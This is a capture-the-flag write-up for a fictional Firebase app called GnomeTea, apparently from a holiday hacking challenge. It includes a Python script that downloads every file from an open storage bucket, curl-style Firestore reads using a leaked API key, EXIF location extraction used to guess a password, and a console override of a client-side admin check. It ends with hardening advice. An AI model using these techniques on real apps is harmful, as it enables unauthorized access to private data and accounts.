Gnome Tea⚓︎

Difficulty:
Direct link: Gnome Tea
Area: Apartment building near 24-7
In-game avatar: Thomas Bouve
Hints⚓︎
Statically Coded
Hopefully they did not rely on hard-coded client-side controls to validate admin access once a user validly logs in. If so, it might be pretty easy to change some variable in the developer console to bypass these controls.
Gnome Tea
I heard rumors that the new GnomeTea app is where all the Gnomes spill the tea on each other. It uses Firebase which means there is a client side config the app uses to connect to all the firebase services
Rules
Hopefully they setup their firestore and bucket security rules properly to prevent anyone from reading them easily with curl. There might be sensitive details leaked in messages.
License
Exif jpeg image data can often contain data like the latitude and longitude of where the picture was taken.
Objective⚓︎
Request
Enter the apartment building near 24-7 and help Thomas infiltrate the GnomeTea social network and discover the secret agent passphrase.
Thomas Bouve
Hi again. Say, you wouldn't happen to have time to help me out with something?
The gnomes have been oddly suspicious and whispering to each other. In fact, I could've sworn I heard them use some sort of secret phrase. When I laughed right next to one, it said "passphrase denied". I asked what that was all about but it just giggled and ran away.
I know they've been using GnomeTea to "spill the tea" on one another, but I can't sign up 'cause I'm obviously not a gnome. I could sure use your expertise to infiltrate this app and figure out what their secret passphrase is.
I've tried a few things already, but as usual the whole... Uh, what's the word I'm looking for here? Oh right, "endeavor", ended up with the rest of my unfinished projects.
High-Level Steps⚓︎
- Discover – Identify exposed Firebase configuration and resources.
- Investigate – Extract metadata and leaked data to recover credentials.
- Bypass – Override client-side controls to access admin content.
%%{init: {"themeVariables": {
"fontSize": "22px",
"nodeTextSize": "18px",
"clusterTextSize": "22px"
}}}%%
flowchart TD
subgraph Row1["Discover"]
direction LR
A[Inspect client-side JS]
B[Identify Firebase config]
A --> B
end
subgraph Row2["Investigate"]
direction LR
C[Enumerate storage bucket]
D[Extract EXIF metadata]
E[Identify user credentials]
C --> D --> E
end
subgraph Row3["Bypass"]
direction LR
F[Locate admin UID in JS]
G[Set admin UID in browser]
H[Access admin page]
I[Reveal passphrase]
J[Objective completed]
F --> G --> H --> I --> J
end
Row1 --> Row2
Row2 --> Row3
Solution⚓︎
The login page of the app references the below index-BVLyJWJ_.js file.
This JS file has hard coded values.
apiKey: "AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk",
authDomain: "holidayhack2025.firebaseapp.com",
projectId: "holidayhack2025",
storageBucket: "holidayhack2025.firebasestorage.app",
messagingSenderId: "341227752777",
appId: "1:341227752777:web:7b9017d3d2d83ccf481e98"

Wrote the below download_files.py to download all the files in the stogare bucket.
Its all jpeg(driver licence) and png files(photos) of the gnomes.
??? download_files.py
import requests
import os
bucket = 'holidayhack2025.firebasestorage.app'
file_path = 'tea' # Firebase path to file
file_path_encoded = file_path.replace('/', '%2F')
url = f'https://firebasestorage.googleapis.com/v0/b/{bucket}/o'
# Create folder to save downloads
os.makedirs('downloads', exist_ok=True)
# List all files
response = requests.get(url)
if response.status_code == 200:
data = response.json()
items = data.get('items', [])
for item in items:
name = item['name']
name_encoded = name.replace('/', '%2F') # URL encode
download_url = f'https://firebasestorage.googleapis.com/v0/b/{bucket}/o/{name_encoded}?alt=media'
print(f'Downloading: {name}')
file_response = requests.get(download_url)
if file_response.status_code == 200:
with open(os.path.join('downloads', os.path.basename(name)), 'wb') as f:
f.write(file_response.content)
else:
print(f"Failed to download {name}: {file_response.status_code}")
else:
print("Bucket is not public or listing not allowed:", response.status_code)

from the hint
hint about exif
Exif jpeg image data can often contain data like the latitude and longitude of where the picture was taken.
Looking for latitude and longitude in teh jpeg files.
l7VS01K9GKV5ir5S8suDcwOFEpp2_drivers_license.jpeg has the location data

This belongs to Barnanby Briefcase.

Per the hint the jpeg file might contain the location data. Using exiftool and we get the location data.
exiftool *.jpeg | grep GPS
[https://www.gps-coordinates.net/] ("https://www.gps-coordinates.net/")

A location in Australia named Gnomesville. Google Maps link
Get the data⚓︎
dms
https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/dms?key=AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk > dms.json
tea
https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea?key=AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk > tea.json
gnomes
https://firestore.googleapis.com/v1/projects/holidayhack2025/databases/(default)/documents/tea?key=AIzaSyDvBE5-77eZO8T18EiJ_MwGAYo5j2bqhbk > gnomes.json
Looking at the dms.json looking for "pass"
Hint about the password
My password is actually the name of my hometown that I grew up in.
I took my picture of my id there

Since the location data was found in the Barnanby Briefcase's id, It has to be his password based on the above. Now we need to look for his email address.
cat gnomes.json | grep email
barnabybriefcase@gnomemail.dosis

Website : https://gnometea.web.app/
UserName : barnabybriefcase@gnomemail.dosis
Password : gnomesville
and we are in.

Now looking for the secret passphrase which gnomes use to communicate with each other. It can not be user specific.
There is a reference of /admin in the :
https://gnometea.web.app/assets/index-BVLyJWJ_.js
When we try to go there :
https://gnometea.web.app/admin
We get the below with a label
window.ADMIN_UID: not set

When we inspect the below file
https://gnometea.web.app/assets/index-BVLyJWJ_.js
We notice ADMIN_UID is expected to have a value:
3loaihgxP0VwCTKmkHHFLe6FZ4m2

We set that in the browser console.

window_ADMIN_UID="3loaihgxP0VwCTKmkHHFLe6FZ4m2"
Admin page loads showing the secret passphrase:
GigGigglesGiggler

We submit that as the answer and that is accepted.

Answer
GigGigglesGiggler
Response⚓︎
Thomas Bouve
Excellent! Now we can communicate with the gnomes. When I tried to talk to one just now it said "passphrase accepted".
I asked what they were up to and it said something about going to the old warehouse/data center at the appointed time for the next meeting. No clue what that means though.
Anyhoo, that's a pretty big item you helped remove from my pile of unfinished hacking projects. I really appreciate the assist!
Learnings⚓︎
- Always look for sensitive configs/secrets in the JS files.
- A publicly listable Firebase bucket, permissive Firestore rules, and exposed EXIF metadata together turned small leaks into full account compromise.
Prevention & Hardening Notes⚓︎
- Enforce authorization exclusively on the server side.
- Lock down Firebase resources by default. Disable public bucket listing, restrict Firestore reads, and strip EXIF metadata from uploaded images to avoid unintentional data leakage.